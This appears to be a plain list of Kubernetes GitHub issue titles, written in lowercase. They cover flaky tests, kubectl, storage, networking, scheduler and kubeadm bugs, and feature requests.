flaky tests :  sig-api-machinery  garbage collector should support cascading deletion of custom resources and  sig-api-machinery  garbage collector should not be blocked by dependency circle  conformance

kubectl create customresourcedefinition and new kind resource in one single file

k8s.io  services should serve a basic endpoint from pods  conformance  {kubernetes e2e suite}

gci node: remove docker and kubelet's the dependency on systemd-journaltd

k8s.io/apiserver: too many requests handler double-calls newlogged

ceph rbd provisionner \ timeout expired waiting for volumes to attach/mount for pod\

failing test:  sig-network  proxy version v1 should proxy to cadvisor using proxy subresource failing in sig-release-master-upgrade suite

kubectl 1.11.0 unable to print resources with openapi custom columns

failing test  verify.godeps is failing in master-blocking and 1.14-blocking

sig-apps  daemon set  serial  should not update pod when spec was updated and update strategy is ondelete

gc's behavior is not consistent when restarting kube-controller-manager

fabric8 events  .withlabel \ label\ , \ value\   does not pickup events on objects with matching labels

cinder plugin  running inside hyperkube container  fails to find device by diskid

api server should expose a jwks url of it's current valid svcacct token keys

structural validation of allowedtopologies field in storageclass

enforce-node-allocatable=kube-reserved/system-reserved don't work on windows

flaky test:  sig-cluster-lifecycle  upgrade  feature:upgrade  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade

k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should eagerly create replacement pod during network partition when termination grace is non-zero {kubernetes e2e suite}

large kubemark performance tests failing with timeout during ns deletion

pull-kubernetes-cross fails with undefined: \ k8s.io/kubernetes/pkg/util/mount\ .newexecmounter

azure disk detach are not working with multiple disk detach on the same node.

cannot pull pod infra container image from a private repository on windows node

kubernetes on aws no endpoints available for service kubernetes-dashboard

parallel jobs fail thousands of times per week, storage/networking/multizone issues

configmaps and secrets mounted with subpath do not update when changed

piping stdin into kubectl exec sometimes hangs with docker 1.13+

while taint node with notready:noschedule，pod  cound not be scheduled to the node any more

headless services differ between userspace and iptables proxy-mode

k8s.io  emptydir volumes should support  root,0777,default   conformance  {kubernetes e2e suite}

feature  for gpu and hugepages, default must match defaultrequest in limitrange if both are specified

failing test :  sig-scalability  density  feature:performance  should allow starting 30 pods per node using { replicationcontroller} with 0 secrets, 0 configmaps and 0 daemons

after upgrade cluster to master branch from 1.6, test   k8s.io  networking should check kube-proxy urls  consistently fail

pull-kubernetes-federation-e2e-gce: error during ./federation/cluster/federation-up.sh: exit status 1

vsphere volume attacher causing panic due to unsafe cloudprovider cast

statefulsets: pod deletion hitting race condition with ongoing rollingupdate

in at least some cases ; kube-up fails to deploy cluster because of missing kubernetes-src.tar.gz during mv command.

statefulset pod stuck in pending waiting for volumes to attach/mount  aws

can we remove --minimum-container-ttl-duration, --maximum-dead-containers-per-container, --maximum-dead-containers?

guest book sample is using a docker v1 image gcr.io/google-samples/gb-redisslave

ssl_connect returned=1 errno=0 state=error: certificate verify failed - invalid kubernetes api v1 endpoint

follow up  70277, the close of the \ done\  channel should terminate waitfor

cloud-controller-manager won't build for out-of-tree external providers

federated service ip out of sync between aws lb and clouddns records

can't get the mysql-wordpress-pd sample to work... format disks?

admission controller: enhance podpreset to inject containers and init containers

scheduler refuses to start in version 1.9.1 when specifying volume feature gates

can't mount configmap with files as a folder, the pod starts and the folder is empty

inject api-server certificate into serviceaccount token projected volume

internal server error 0-length response from extension api server for no obvious reason

rbac kubectl create failed : \ error validating data: field apigroup: is required\

k8s.io  downward api volume should provide container's cpu limit  conformance  {kubernetes e2e suite}

failing:  sig-instrumentation  cluster level logging implemented by stackdriver should ingest logs

kube cronjob errors: \ rpc error: code = 2 desc = error: no such container\   podsandboxstatus and pleg

--resource  option in  kubectl create  cluster role  does not support asterisk

kube_proxy running under a static kernel reports false-positive module load failures

apiserver was not able to recover from network disconnection with etcd

kubectl apply from stdin does not work with execcredential providers that require input

sig-auth  question about isrbacenabled in the e2e testing framework

kube-apiserver does not have sufficient permissions to proxy all kubelet api calls

azure storage driver should allow customization of secret location

service controller race condition on updating the same service in multiple goroutines

certificate error after changing ip address of kubernetes master machine

graceful shutdown pod is removed from endpoints list for service even \ prestop\  defined and not finished

why the kubernetes's binary of controller manager has a wrong md5sum can start ?

1、kubectl printobj should not print header when occur error. 2、kubectl get ns --all-namespaces should not have namespace column

bug:  kubectl get pod  - pod is running and has two containers. container 1 exits with success.

request for job failure on pod failure rather than job remaining active

failing test  node leases tests failing in release-1.14-all:gke-cos-1.14-default

add metrics for restclients to kuberentes for all clients to optionally use via standard scrape  was: pushgateway but that is overkill

feature  integrate closely with flannel and/or calico, via network plugins.

flakes: deleting the namespace of a pvc and pod causes the successful detach of persistent disk

scheduler panic at leader election fail when there a lot of failed-scheduling pods

accessing service using nodeport from outside host flannel environment

rbac for cloud-node-controller and pvl-controller not set up properly

gci test failing:  kubernetes-gci-gke-serial-release-1.3    k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 100 pods per node

kubectl: the version command should be able to create machine-readable output

ssl connection failures to etcd should be logged by the apiserver.

failing test:  sig-service-catalog   feature:podpreset  podpreset should create a pod preset failing in sig-release-master-blocking

kubeadm init --kubernetes-version ci/latest is failing to fetch images

failing test:  sig-cluster-lifecycle  sig-network  cluster downgrade parallel, ingress upgrade

kubelet.exe on windows server core 1809 - errors with failed create pod sandbox.. rpc error: code - unknown desc ... hnscall failed in win32: the object already exits

manifest file edits via vim break k8s due to vim dot files  k8s 1.5.1+

e2e flaky:  k8s.io  rescheduler  serial  should ensure that critical pod is scheduled in case there is no resources available

better way to handle unmatched ip versions on service and endpoint

problem statement: generate clients and rest setup code from... what?

k8s.io  resourcequota should verify resourcequota with terminating scopes. {kubernetes e2e suite}

patch needs information from guaranteedupdate to determine liveness, causes testpatch flakes

client-gen creates the wrong group name in typed/{group}/{version}/fake package

should support passing stop channel to control controller-manager gracefully exit

should not rely on checking event message  successfully assigned ...  in e2e test

it should be possible to consume specific annotations/labels in env vars

federation  refactor the parameter lists in kubefed to use parameter-grouping structs

unable to attach disk already being used in gce for a job resource

need local persistent volume provisioner e2e tests to use mounts points instead of directories

bug: k get nodes on aks with service catalog returns nodes after 5 mins

kubeadm init fails with error \ it seems like the kubelet isn't running or healthy.\

kubelet should provide an option to set net mode when use custom network plugin

k8s.io  pods should cap back-off at maxcontainerbackoff  slow  {kubernetes e2e suite}

gce storage class auto-provisioning schedulerpredicates failed due to persistentvolumeclaim is not bound

cronjobs with names longer than 52 characters fail to schedule jobs

scheduler should use pod uid instead of \ namespace/name\  in its cache

data loss if using existing azure disk with partitions in disk mount

gke-staging-1-9-1-10-upgrade-master: failing  sig-scheduling  schedulerpredicates  serial  validates that a pod with an invalid nodeaffinity is rejected

pr:pull-kubernetes-e2e-gce-100-performance flaked 25 times in the past week

vsphere 1.9 controller manager can not detach volumes from 1.8 nodes

unable to build hyperkube image - no binfmt support in the kernel

kube-aggregator apiserviceregistrationcontroller no need watch services

failed to mount configmap as volume in a daemonset pod if it's evicted before

azure - ilb frontend ip configuration does not change while updating service

k8s.io  schedulerpredicates  serial  validates that a pod with an invalid podaffinity is rejected because of the labelselectorrequirement is invalid {kubernetes e2e suite}

e2e test failure  sig-network  proxy version v1 should proxy through a service and a pod  conformance

when node restarts, docker restarts the containers automatically

kubelet. support for replicationcontroller and service specifications yaml files.

lots of \ does not conform to prefix\  in controller-manager logs

k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io   serial   slow  deployment should scale from 5 pods to 3 pods and from 3 to 1 {kubernetes e2e suite}

restore ability to specify \ all namespaces\  in podaffinityterm.namespaces

validate pvc requested accessmodes against storageclass's underlying plugin's supported accessmodes

upgrade test  kube-proxy migration tests should have its own  upgradetests

unable to decode an event from the watch stream: object to decode was longer than maximum allowed size

image locality  scheduler priority function  inflates scheduling latency

kubectl port-forward command fails with error \ incompatible key usage\

better way to share common utilities between pv controller and volume binder

aws: service annotation so that elbs are created with cross-zone load balancing enabled.

reconciler and glusterfs: e1129 an empty namespace may not be set when a resource name is provided

kubedns not using authorization header in all requests to the api server

gce ingress  glbc  needs improved federation handling at ingress deletion time

\ should not provision a volume in an unmanaged gce zone\  test can be sped up

kubeadm cannot work with machines that cannot resolve their own host

kubelet makemounts should fail if it couldn't process any volume

persistent local volume e2e fail to clean up and break soak suites

failing test: in-tree volumes  driver: gcepd   testpattern: dynamic pv  default fs   subpath should unmount if pod is force deleted while kubelet is down  disruptive  slow

aws plugin should not modify existing, non-kubernetes created security groups on instances.

failure cluster  a74741...  failed 58 builds, 2 jobs, and 1 tests over 1 days

kubernetes node run on the physical machine, the host sudden restart reboot  without reason

why not reject another pod to use a pvc when it has access mode \ readwriteonce\  and using by other pod?

flaky test  nodelease when the nodelease feature is enabled the kubelet should report node status infrequently

make it possible to build a cloudprovider outside the kubernetes repo and run on stock kubernetes

broken conformance suite -  sig-apps  daemon set  serial  tests are failing

zero downtime deployment not working - 503 service temporarily unavailable

pod main containers finished but init container is still waiting for resource

k8s.io  pods should cap back-off at maxcontainerbackoff  slow  {e2enode suite}

the unit test testruninitmasterchecks in cmd/kubeadm/app/preflight fails

cmd/kubeadm/app/phases/upgrade: testshouldbackupapiservercertandkey unit test is flaky

error determining if node ip-172-31-22-208.us-west-2.compute.internal shutdown in cloud: invalid format for aws instance

node goes down with kubelethassufficientpid and pod is not rescheduled to other available nodes?

ubuntu14.04 k8s cluster installtion use kube-up.sh setup kubernetes cluster,but can't find service in other node

tests: please update pkg/kubelet/server testserveexecincontainer and testserveattachcontainer for go1.9

kubelet periodically lose tcp connection with pods when doing liveness/readiness probe check on gke

ebs stuck detaching when volume controller detaches due to nodenotready pod eviction

k8s.io  replicaset should surface a failure condition on a common issue like exceeded quota {kubernetes e2e suite}

garbage collector controller fails to start with registered thirdpartyresources

attach detach controller install crd does not specify validation schema

e2e test \  sig-network  network  it  should set tcp close_wait timeout\  failed

master should schedule pod on a different node after n failed runs

kubectl: errors on duplicate keys of configmaps and secrets, should be output as string and not as   byte.

daemonset controller reports bogus port conflicts at node startup

ingress doesn't pick up healthcheck url when using named port in readinessprobe

k8s.io  emptydir volumes should support  non-root,0666,tmpfs   conformance  {kubernetes e2e suite}

kubectl apply: managing explicit null values in lastappliedconfigannotation

failure cluster  f06eea...  failed 91 builds, 40 jobs, and 1 tests over 1 days

vsphere volume attachment fails with error \ unknown scsi controller type 'lsilogic-sas'\

failure cluster  d3812f...  failed 51 builds, 4 jobs, and 1 tests over 1 days

kube-proxy fails to route traffic to pods on a newly joined node resulting in elb 5xx errors

issue: container won't set request resources  cpu & ram  properly

failed ci  ipvs delay on sync proxy rules result in many ipvs e2e test case flaky

failing test:  sig-storage  mounted flexvolume expand slow  should verify mounted flex volumes can be resized

thousands tcp connections between master/compute stuck in \ established\  status.

failed to start containermanager system validation failed - following cgroup subsystem not mounted:  cpuset

failure cluster  781c0a...  failed 70 builds, 14 jobs, and 1 tests over 1 days

using --show-labels with incompatible ‘kubectl get’ arguments should error out

an error on the server  \ missing route  service \\\ sample-api\\\  not found \   has prevented the request from succeeding  get flunders.wardle.k8s.io

addon manager: remove requirement of having namespace.yaml in /opt

error creating: no api token found for service account \ weave-net\ , retry after the token is automatically created and added to the service account

possible race condition in creating network connections in ingress controller namespace instead end up orphaned in the root namespace on a kubernetes node

1.1.1  heapster rc creation failure due to missing num_minions variable in minion user data

federation  e2e  ci tests malform kube-dns federations domain map entry

when kube-controller-manager stopped, delete service but endpoint is also deleted

when create a secret for service account, can not get secret from service account secret list

statefulset with storage should select pvcs existed rather than only dynamic provide

colon character in environment variable name yields \ invalid value\

vsphere cloud provider fails reading accessible datastores and won't create volumes

persistence volume azure virtual machine scale sets mount failed

k8s.io  downward api volume should provide podname only  conformance  {kubernetes e2e suite}

k8s.io  pods should allow activedeadlineseconds to be updated  conformance  {kubernetes e2e suite}

imagepullpolicy is required on init containers within a pod template

k8s.io  daemon set  serial  should not update pod when spec was updated and update strategy is on delete

services that come up in new pods are unable to resolve dns and connect to rds

failure cluster  45a4f0...  failed 127 builds, 18 jobs, and 1 tests over 1 days

orphaned pod  found, but volumes not yet removed.  reducing cpu to minimum

kubefed init  should verify that the api server is up before printing a success message

k8s.io  dynamic provisioning  k8s.io  dynamicprovisioner external should let an external dynamic provisioner create and delete persistent volumes  slow   volume   test failing

rbac  got a message: user \ \  cannot list pods at the cluster scope.

pv still contains claimref to a pvc even after it's deleted as part of the namespace

avoid useless calculates in calculateinterpodaffinitypriority func

gce cloud: service  loadbalancer  networking breaks when pod is restarted

switch podspec-y resources owned by other resources to be read-only

pod status should be pending instead of failed when all gpus are used.

failing test: ci-kubernetes-e2e-gci-gke-alpha-features: kube-proxy not running

services backed by daemonset pods should have a hostname based network identifier

downward api volume should update labels on modification flakes at least once per day

conversion-gen --extra-peer-dirs references k8s.io/kubernetes types

centralize or clearly document where all node port allocation, deallocation logic

api-server resource quota validation behaves randomly if multiple quota exists

new feature: create a watch event when kubectl exec is started & completed

attached volume data structure in actual state on master's volume controller should support multiple device paths

feature request  pod can be scheduled with specified scheduler extenders instead of all.

kubectl get svc streamwatcher.go:109  unable to decode an event from the watch stream: stream error

gce: specify image id in storageclass for dynamic volume provisioning

federation: errors in cleaning the load balancers in federation e2e tests.

kube-proxy facing locking timeout in large clusters during load test with services enabled

failure cluster  a9e453...  failed 381 builds, 28 jobs, and 9 tests over 1 days

rest api - missing documentation which fields can be updated for namespace entity

isnotfound function is not working correctly in openstack cloudprovider

kubeadm config image list: the image k8s.gcr.io/pause-amd64:3.1 should named k8s.gcr.io/pause:3.1

headless service dns entries not created if service name contains hyphen

failing test  skewtest failing in master-upgrade:gce-new-master-upgrade-cluster-new

bind docker to a unix socket under upstart in kubernetes master node

k8s.io  probing container should be restarted with a /healthz http liveness probe  conformance  {kubernetes e2e suite}

pod stuck thinking rbd is locked by other nodes; rbd is locked by same node pod is scheduled on

kubelet configmap and secret cache cleared every time pod is updated regardless of ttl

question: podsecuritypolicy doesn't allow pods created by custom mutatingwebhookcontroller that injects sidecar without securitycontext.allowprivilegeescalation

hpa is too sensitive for some applications. can we average over time?

load balancer: cannot specify security group to use, always creates new one

initial terminal dimensions for  kubectl exec  are not set correctly

label/annotation should be used to identify node targets for cloud lb

aws cloud-controller-manager hanging during security-group deletion

//cmd/kubeadm fails to build in pure go mode under bazel due to cadvisor dependencies

0.19.3 delete-pod returns a pod representation and not a status representation

decide if we want to act differently on kubelet-driven node's problems.

node was not removed after failing to respond to checkins for 30mins

federation  member cluster config should be stored in federation control plane

after upgrade to master branch from 1.6, test   k8s.io  dns should provide dns for pods for hostname and subdomain annotation  consistently fail

requiredduringschedulingrequiredduringexecution was treated as comments of requiredduringschedulingignoredduringexecution

setting pending initializers to empty in deployment/replicaset/daemonset pod template is ignored in pods

kubectl apply outputs \ unchanged\  lines, which muddles the output when using -o  yaml|json

no debug info when building kubernetes source code with  make all gogcflags=\ -n -l\

kubernetes pods not respecting /etc/resolv.conf nameserver order

kubelet summary api: node.network metric nil on hosts without eth0

kubelet panic: \ invalid memory address or nil pointer dereference\  in findandremovedeletedpods

failure cluster  c1aa76...  failed 76 builds, 16 jobs, and 3 tests over 1 days

default values for number of replicas and maxunavailable causes deployments to report as successful rolled out when no pods available

upgrade to v1.7.8 causes duplicate fluentd-gcp daemonsets on gke

1.9  kube-controller-manager fails to start with cloud-provider=aws

kubeadm init stuck on  init  this might take a minute or longer if the control plane images have to be pulled.

kubeadm upgrade apply --feature-gates=coredns=true crashes if kube-dns cm does not exist

containers should support inherent garbage collection & restart policy

can't list poddisruptionbudgets after upgrade if v1alpha1 pdbs exist

failed executing generator: some packages had errors: ./hack/verify-all.sh

k8s.io  emptydir volumes volume on tmpfs should have the correct mode  conformance  {kubernetes e2e suite}

k8s.io  resourcequota should create a resourcequota and capture the life of a configmap. {kubernetes e2e suite}

e2e pod-service networking test panics if no provider external ips available

k8s.io/apiserver imposes fixed low limit on the number of concurrent watches proxied to an aggregated api-server

failing test:  sig-network  dns configmap nameserver forward ptr lookup should forward ptr records lookup to upstream nameserver  slow  serial

kubectl doesn't raise an error for an inappropriate --certificate certificate

don't update vendor build files when running \ hack/update-bazel.sh\

allow noderestriction to admit evictions for pods bound to the node itself

must fsync dynamic kubelet config checkpoint files to protect against hard restarts

kubectl reported a deployment scaled where as replicas are unavailable

sample-controller / apiextensions-apiserver / sample-apiserver / kube-aggregator rely on ./vendor/k8s.io/code-generator, do not have it

k8s 1.13.2 + weave 2.5.0 + cri-o v1.13.1dev connect host network pods on wrong ip

hack/update-staging-client-go.sh is pretty much impossible to use

liveness  and readiness probe failed ,but under line examination is health

documentation enh request  in-cluster-client-configuration example

failing test  ci-kubernetes-e2e-gce-cos-k8sbeta-serial panics in 1.14-blocking

failing test  verify.vendor failing in master-blocking:verify-master

error to setup kubernetes cluster in ubuntu 15.04 because of systemd

nil pointer panic in pkg/kubelet/kuberuntime/kuberuntime_container.go

pod been allocated an ip that doesn't belongs to podsubnet in v1.12.1

kubectl exec: invalid memory address or nil pointer dereference v1.12.5

nag, flag and re-assign prs that are not getting attention from reviewers

extensions api group should be gone by the end of 2017 - umbrella issue

scheduling fails with \ insufficient memory\  until restart of apiserver/master

make it easy to run kubernetes on top of the kubelet  aka self-hosting

kubectl 1.5.1 vs k8s 1.6 gives  error: no kind \ deployment\  is registered for version \ apps/v1beta1\

e2e test fails with forbidden: pod.spec.securitycontext.selinuxoptions is forbidden

kubectl get nodes should show api server version not client version

csi volume plugin should report error when it can't fetch secrets.

volume metrics calculation - getmetrics should consume the pods resources

log version/build info as the first line of every glog log from every binary

failure cluster  dae0de...  failed 247 builds, 67 jobs, and 1 tests over 1 days

handler_proxy_test.go:328: invalid hostname + insecure: expected called=true, got false

tls-bootstrapped kubelet loses client certs after reboot, node stays on notready status

admin granted with privileged podsecuritypolicy failed to create deployment in a namespace other than default

infrastructure volume not deleted if i delete the pv on aws, azure, gcp, openstack

init error: \ kubelet cannot pull or find the following control plane images\

sweep http.transport usage for leaking connections, incorrect defaults

loadbalancer creation for service failing in case of custom network

failing test   sig-node  regular resource usage tracking resource tracking for 100 pods per node

cadvisor will lose visibility to running docker containers over time

k8s.io  kubeletmanagedetchosts should test kubelet managed /etc/hosts file  conformance  {e2enode suite}

in-cluster namespace for kubectl cannot be overridden by metadata.namespace in json

kube-proxy 1.7.0: health check server bind to 127.0.0.1 despite set 0.0.0.0 via --healthz-bind-address

etcd3 storage has no instrumentation, grpc client metrics aren't any good either

here is  an issuse on my kubenetes cluster go1.9.2.  i edited a pvc yaml file and applied it by \ kubectl apply -f test-pvc.yaml\ . then i delete it by \ kubectl delete -f test-pvc.yaml\ . but the replicaset still existed and deployment deletion successfully!  is this a bug on the version 1.9.2 or else ?

docker container log does not get rotate on k8s master node causes host to run out of space quickly

processes may be leaked when docker is killed repeatedly in a short time frame

gcloud loadbalancer service with specific loadbalancerip requested, doesn't clean up the forwarding rules upon deletion of the service.

podworker drops some important update event, cause pod can't be deleted

e2e failure   k8s.io   sig-apps  network partition  disruptive   slow   k8s.io  pods should return to running and ready state after network partition is healed all pods on the unreachable node should be marked as notready upon the node turn notready and all pods should be mark back to ready when the node get back to ready before pod eviction timeout

block volume's mapping generator func will not work for csi internal volume driver

umbrella issue  authz & core admission controller clientset/informer refactor internal->external

remove wrong and redundant tests from podsecuritypolicy/provider_test.go

k8s.io  deployment deployment should label adopted rss and pods {kubernetes e2e suite}

update controllers/statefulset and controllers/history to use appsv1beta vs apps client.

consistent soak failures: regular resource usage tracking resource tracking for x pods per node

csi access mode - ensure k8s access mode maps to csi access mode properly

introduce apiserver profile-gathering to k8s performance testing

defaulttolerationseconds admission controller overwrites existing tolerations

gce-cos-1.11-serial and node-kubelet-1.11 blocking tests failure

ci-kubernetes-e2e-gke-gci-1.3-container_vm-1.5-upgrade-master: broken test run

kube-proxy fails to run automcatically on new worker node upon adding to the existing kubernetes cluster

api server cannot find data when switching from etcd2 to etcd3 with custom etcd prefix

gc testcustomresourcecascadingdeletion and testmixedrelationships flakes

bad column alignment when printing custom columns from openapi schema

the blended alias in import are so confused, can we modify this to be unified?

failing test :  sig-testing  verify.godeps failing in sig-release-master-blocking

kubectl patch should have a cli flag for ignoring failures when the patch was not needed

there are nodeconformance tests that may be eligible for promotion to conformance

unable to promote e2e which are using optional condition fields such as reason or message

k8s.io  networking  k8s.io  granular checks: services  slow  should function for pod-service: udp {kubernetes e2e suite}

cannot connect to service of it's own from inside pod on kubernetes 1.6

when a worker leaves a cluster, pods on the worker should be automatically cleaned up

static ip for service resource should be configurable \ by name\  and via annotation

job activedeadlineseconds is not respected if the kcm is restarted

unexpected pod cpu requests when only limits is set in deployment

kubectl logs prints empty output if logs are rotated - some example are wrong

local docker cluster on mac cannot create service with \ external-ip\

kubernetes scheduler doesn't support n+1 fault tolerance in the presence of automated shutdowns and restarts of vms

fix kubectl-container makefile to work on other supported host platforms

shouldn't kube processes use kubeconfig for api server discovery?

kubectl path based resource selection should support filtering with label selector

k8s.io  networking should provide unchanging, static url paths for kubernetes api services {kubernetes e2e suite}

\ kubectl get storageclass --all-namespaces\  produces invalid output

remove dependency on \ rbd\  tool for mapping and unmapping volumes in rbd volume plugin

proposal: networkpolicy support for selecting pods in another namespace

clusterrole system:kube-controller-manager cannot get configmaps in v1.12.0-rc's

e2e storage testsuites: avoid timeout in \ volumemode should fail in binding dynamic provisioned pv to pvc\

flaky test   sig-storage   serial  volume metrics pvcontroller should create bound pv/pvc count metrics for pvc controller after creating both pv and pvc

windows tests failing on gce with \ couldn't delete ns\  timeouts

on 1.14.1 when i delete local volume for statefulsets ,then the pv status it is terminating all the time

make bazel-build fails with  ln: failed to create symbolic link '/tmp/gopath/src/k8s.io/kubernetes': file exists

feature request  add container memory pressure hook or send signal

￼kubectl shows last<invalid> if pv, pod or pvc is terminating using kubectl describe pv xxx

failing test   sig-storage  persistentvolumes default storageclass pods that use multiple volumes should be reschedulable  slow  is failing in master-blocking

removing need to have service account tokens in etcd aka 'dynamic secrets'

federation  document permissions that the federation control plane requires in joined clusters

k8s.io  kubectl client  k8s.io  update demo should do a rolling update of a replication controller  conformance  {kubernetes e2e suite}

ability to schedule resource installations without a running cluster

error syncing pod / percpuusage had 0 cpus, but the actual number is 2; ignoring extra cpus

setting defaultmode is not fully respected when pod.spec.securitycontext.runasuser is set

skew test failing gke-gci-1.10-gci-master-upgrade-cluster-new job in sig-release-master-upgrade

windows gotpodnetworkstatus assumes addtonetwork is idempotent, it's not

cni plugin should not be called twice to delete one single interface

cri: podsandbox may be garbage collected early before it is ready

make nodes upload logs to gcs directly instead of going through jenkins worker

client-gen, lister-gen, and informer-gen should use same input in hack/update-codegen.sh

apiserver uses wrong commonname to verify service certificates for aggregated api server when external admission controller is enabled

flaked test:  sig-storage  in-tree volumes  driver: emptydir   testpattern: inline-volume  default fs   subpath should support creating multiple subpath from same volumes  slow

error converting leaderelectionconfiguration from external to internal type

apiserver etcd v3 client does not close connections to dead etcd node

federation: ingress does not work on gcp for multiple clusters in the same zone

etcd error in cluster downgrade: membership: cluster cannot be downgraded  current version: 3.0.17 is lower than determined cluster version: 3.1 .

volume attach limit doesn't work for  waitforfirstconsumer  volume binding mode

aws: applications become unavailable when nodes are being scaled down

scheduler perf  general improvments: use real statistics, s/polling/watch

federation: \ invalidchangebatch: duplicate resource record\  error while configuring route53

post request returns 422, possibly violating \ name idempotency\

kubectl config view --minify=true fails for kubeconfig without current context

when delete a continer managed by k8s manually,the previously legacy symlink will not be deleted

the unit tests for  csidriverclient  do not exercise any production code

feature request: ability to mark a replication controller inactive

when node is unreachable, master should show all node conditions as unknown

set-image does not work when using a private repository with a newly pushed image

update needed for e2e tests to allow buckets to run for cri scenarios

httpget handler in container lifecycle has no check on statuscode of the response

should add volume topology-aware dynamic provisioning related integration case

applying a service twice with clusterip set to blank returns an error

don't need to update the deletiontimestamp if the pod is already in deleting phase

document scheduler jargon documentation  from design/podaffinity.md  to  docs/devel/scheduler

kubectl edit does not preserve the order of environment variables

daemonset pod with 'hostnetwork: true' has no route to service net

cannot ping some pod ip from host but ping another pod ip successfully

kubeadm failed to pull image \ k8s.gcr.io/coredns-amd64:1.1.3\ : exit status 1

k8s.io  probing container with readiness probe that fails should never be ready and never restart  conformance  {e2enode suite}

deployment recreatedeployment should delete old pods and create new ones

sample-controller errors when starting:  failed to list  v1alpha1.foo: v1.listoptions is not suitable for converting to \ samplecontroller.k8s.io/v1alpha1\

run all pods on a selected hots leads to \ deployment does not have minimum availability\

flaky test  when kubelet restarts should test that a volume mounted to a pod that is deleted while the kubelet is down unmounts when the kubelet returns

when increase kube-api-qps param in kube-controller-mananger, etcd2.2.2 out of memory

unable to construct api.node object for kubelet: failed to get external id from cloud provider: failed to find object

aws: when we choose subnets arbitrarily, we should still choose consistently

makefile.generated_files:322: recipe for target '_output/bin/deepcopy-gen' failed

the \ 1.14 what's new\  \  no, really, you must do this before you upgrade \ link  in changelog-1.14.md  are ineffective

\ completed\  status for recycler pod for nfs pvs, not umount the folder on worker node

container cgroup hierarchy not correct if docker cgroup driver conflict with kubelet cgroup-driver

k8s.io  downward api volume should set mode on item file  conformance  {kubernetes e2e suite}

k8s.io  density  serial   slow  create a batch of pods latency/resource should be within limit when create 10 pods with 0s interval {e2enode suite}

thirdparty resource e2e test should not be marked as conformance

in a local cluster running head,  kubectl version  shows 1.10 instead of 1.11

panic: runtime error: invalid memory address or nil pointer dereference  signal sigsegv: segmentation violation code=0x1 addr=0x58 pc=0x15b8643

label nodeselector blocks having  fluentd-elasticsearch  running properly

kubectl cp appending basename twice and throwing error on fully qualified local filepath

the fluentd-elasticsearch:v2.0.0 and elasticsearch:v5.5.1-1 can't pull

node is not ready because of kubelet report a meaningful conflict error

failing test:  sig-storage  csi volumes csi topology test using gce pd driver should provision zonal pd with delayed volume binding and allowedtopologies set and mount the volume to a pod

test failure: scaling should happen in predictable order and halt if any stateful pod is unhealthy

the azure cloud controller manager was unable to create an internet exposed load balancer

k8s.io  schedulerpredicates  serial  validates that interpodaffinity is respected if matching {kubernetes e2e suite}

k8s.io/apiextensions-apiserver/test/integration testpatch flakes

ingress upstream incorrectly updated on service without selector

allowvolumeexpansion is not applied when creating a storageclass via kubectl

where does the yaml file used in ' kubectl create'  to fetch the variable value ?

task tracker for addition of pod priority and preemption to kubernetes

failing test :  sig-scheduling  schedulerpredicates  serial  validates maxpods limit number of pods that are allowed to run  slow  failing in sig-release-master-upgrade

server and client should have their own instances of apiregistrationmanager

kubelet should not delete all pods if etcd is accidentally started pointing to the wrong directory

add a  kubectl shell  or  kubectl repl  command to provide an interactive repl shell to reduce typing

cri: we should use grpc codes.notfound to indicate not found resource.

kubectl proxy doesn't redirect to kubernetes dashboard correctly

figure out why in e2e tests we sometimes see non-capitalized verb 'proxy', even though it's not registered in the api server

k8s.io  kubectl client  k8s.io  simple pod should support inline execution and attach {kubernetes e2e suite}

remove the backward compatibility code for kubelet 1.2 in nodecontroller.

gce: ilb's backend service isn't updated with new instance group links

flag help for --watch-cache-sizes is wrong about group being optional

fix wait.until tests to actually verify something other than \ not hanging\

k8s.io  density  serial   slow  create a batch of pods latency/resource should be within limit when create 10 pods with 0 interval {e2enode suite}

show pods as unknown when termination blocked due to too many bad nodes

persistentvolumes provide no way of finding remaining space / usage

better handling on duplicate registrations from a device plugin in kubelet

local plugin should report warnalreadymountedvolume event to apiserver

when mounting a key from configmap under /root the whole /root volume becomes read-only

ci-cri-containerd-e2e-ubuntu-gce many tests fail with: failed to create containerd task

kube-apiserver etcd object count metrics do not allow us to infer the total number of objects in etcd

aws, elb: allow loadbalancer for service with sessionaffinity: clientip

error : this might loop forever if there was some uncaught error during start up

nginx loses requests when the ingress controller reloads its configuration

pull-kubernetes-unit failed due to roundtrip of persistentvolume

improve performance of pod affinity/anti-affinity in the scheduler

ensure that logs from all kubernetes components on the master are being collected

unable to call services through the nodeport from different nodes

enable node authorizer and noderestriction admission controller in gce

yum upgrade kube  -> overwrites kubelet.service.d/10-kubeadm.conf

failure cluster  d6a4c0...  failed 95 builds, 16 jobs, and 10 tests over 1 days

allow to use configmaps or secrets as valuefrom for tls hosts in ingress spec

nested data volumes  e.g. /secrets & /secrets/more  cause unexpected behavior

kubelet does not garbage collect docker images based on devicemapper disk usage

check automatically for standard api convention for json field names in godoc

the service networks on each node can not communicate with each other

ipvs kube-proxy will flush all existing ipvs rules in its startup

a question about customresourcedefinition.generation in k8s v1.9.2

containerized kubelet may not see local volume block device paths

unknown field \ artifactrepository\  in io.k8s.api.core.v1.configmap

apiserver crashes on killing timeout'd non-long-running requests

kubelet keeps updating pod status for terminating pods with finalizers

measure and optimize push-based heartbeats from kubelet to nodecontroller

new pod created by hpa get lower network traffic than exists pods

\ kubectl client  k8s.io  simple pod  it  should support exec through an http proxy\  proxy log check is wrong

normalisation of command line arguments  underscore to hyphen  for kube-apiserver no longer occurs

backoff timer is shared between different operations on a volume

k8s.io  kubectl client  k8s.io  kubectl taint should remove all the taints with the same key off a node {kubernetes e2e suite}

kubernetes service exposing shellinabox timeout after approx. 60 seconds

vsphere cloud provider : unable to format and mount vsphere volumes on nodes when a pod is created.

resourcequota admission controller fails to read admissionconfiguration

regression in kubectl logs: the --all-containers=true option doesn't work in master

pod subresource storage  exec, portforward, proxy, log  should return appropriate object on new

exec should use attachablepodforobject so that we can exec into a deployment

1m\t\t1m\t\t1\t{kubelet centos-node}\t\t\twarning\t\tmissingclusterdns\tkubelet does not have clusterdns ip configured and cannot create pod using \ clusterfirst\  policy. falling back to dnsdefault policy.

adding tests to verify image pulling by digest in the node e2e suite

failure cluster  834e5b...  failed 144 builds, 18 jobs, and 2 tests over 1 days

1.8 regression: can't pull images from docker.io without explicit path on centos/fedora/rhel

kubernetes cassandra statefulsets restarting without posting any error

2 ingress controllers ignoring namespaces  when forwarding traffic to ingress resource

